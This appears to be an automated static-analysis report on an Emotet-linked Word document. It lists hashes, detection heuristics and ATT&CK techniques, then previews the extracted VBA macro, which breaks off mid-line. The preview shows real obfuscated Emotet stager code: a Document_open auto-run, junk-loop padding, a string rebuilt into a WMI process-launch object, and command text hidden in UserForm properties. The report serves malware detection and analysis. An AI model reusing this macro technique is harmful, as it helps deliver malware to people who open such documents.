Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 6aa53c3c65f9c3a8…

MALICIOUS

Office (OLE)

173.7 KB Created: 2020-08-18 08:19:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 974ccd203f34183145fcdba5f4917ecb SHA-1: 3bb929fddd1e3edd0c11e14638857e221567aa43 SHA-256: 6aa53c3c65f9c3a8cfd6530a40f273750c496da314b2959db2a05776f82d67a3
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample is a malicious Microsoft Office document containing VBA macros. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' and the 'Document_Open' macro indicate that the VBA code is designed to execute automatically when the document is opened. The ClamAV detection explicitly names this as 'Doc.Downloader.Emotet-9373337-0', strongly suggesting Emotet family activity. The VBA script's obfuscated nature and use of 'CreateObject' point towards it downloading and executing a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9373337-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9373337-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11091 bytes
SHA-256: f9ebc04dacaabd143467b909ac4dc546d597b0544c8c2bc38b54e14bd2cced37
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "G6srlicitafymaaqhy"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Qh300jh2fz8xvw.Hbpixwncmtfs0n
End Sub


Attribute VB_Name = "Qh300jh2fz8xvw"
Attribute VB_Base = "0{A6752F43-6D45-49E8-BD49-C23EE977CCE3}{47056B96-5C5C-4944-83FA-B0207F8E591B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Hbpixwncmtfs0n()
   For Rmyj3_qxqp8stgs = 5 To 62
DoEvents
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Next Rmyj3_qxqp8stgs
Voz7w9mfgvdy_uf = 553
Gc_f_a6psnya7fwx = 680
Voz7w9mfgvdy_uf = Voz7w9mfgvdy_uf + Gc_f_a6psnya7fwx
Z_u2rpozctt = Voz7w9mfgvdy_uf
W_bemqqv6vfe4 = Qh300jh2fz8xvw.HelpContextId + 50 + 50
   For Rmyj3_qxqp8stgs = 5 To 62
DoEvents
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Next Rmyj3_qxqp8stgs
Voz7w9mfgvdy_uf = 780
Gc_f_a6psnya7fwx = 941
Voz7w9mfgvdy_uf = Voz7w9mfgvdy_uf + Gc_f_a6psnya7fwx
Wselclqic4y_yw = Voz7w9mfgvdy_uf
Kcv2rlsv557xo8_2 = ChrW(W_bemqqv6vfe4 + (15))
   For Rmyj3_qxqp8stgs = 5 To 62
DoEvents
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Next Rmyj3_qxqp8stgs
Voz7w9mfgvdy_uf = 29
Gc_f_a6psnya7fwx = 587
Voz7w9mfgvdy_uf = Voz7w9mfgvdy_uf + Gc_f_a6psnya7fwx
Hsrqp77f2_ej6cfhz = Voz7w9mfgvdy_uf
L4xf5y989r7 = "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggi58[sn ]]][ jsa 21u7gsgggnm58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggggm58[sn ]]][ jsa 21u7gsgggt58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg" + Kcv2rlsv557xo8_2 + "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg:58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggin58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg358[sn ]]][ jsa 21u7gsggg258[sn ]]][ jsa 21u7gsggg_58[sn ]]][ jsa 21u7gsggg" + Qh300jh2fz8xvw.A4ygdr1mm2os + "58[sn ]]][ jsa 21u7gsgggro58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggce58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsggg"
   For Rmyj3_qxqp8stgs = 5 To 62
DoEvents
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Next Rmyj3_qxqp8stgs
Voz7w9mfgvdy_uf = 537
Gc_f_a6psnya7fwx = 256
Voz7w9mfgvdy_uf = Voz7w9mfgvdy_uf + Gc_f_a6psnya7fwx
Rzimki_tlw6x5kkzu5 = Voz7w9mfgvdy_uf
V_ffad4wb405 = Jl1903wwich0o8tr(L4xf5y989r7)
   For Rmyj3_qxqp8stgs = 5 To 62
DoEvents
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Next Rmyj3_qxqp8stgs
Voz7w9mfgvdy_uf = 857
Gc_f_a6psnya7fwx = 856
Voz7w9mfgvdy_uf = Voz7w9mfgvdy_uf + Gc_f_a6psnya7fwx
G4oqtmm0ub8tnocn7 = Voz7w9mfgvdy_uf
Set Sfwds92u8sdx = CreateObject(V_ffad4wb405)
   For Rmyj3_qxqp8stgs = 5 To 62
DoEvents
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Next Rmyj3_qxqp8stgs
Voz7w9mfgvdy_uf = 572
Gc_f_a6psnya7fwx = 857
Voz7w9mfgvdy_uf = Voz7w9mfgvdy_uf + Gc_f_a6psnya7fwx
Gfqni7ivwkh9z2 = Voz7w9mfgvdy_uf
Yl9rcgfyysykxp9_ = Qh300jh2fz8xvw.Wsx36fc35uz.ControlTipText
   For Rmyj3_qxqp8stgs = 5 To 62
DoEvents
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjwqxo6qi8))
Debug.Print (CStr(Rj0n8gb763zur) & CStr(Oe5_yyjw
... (truncated)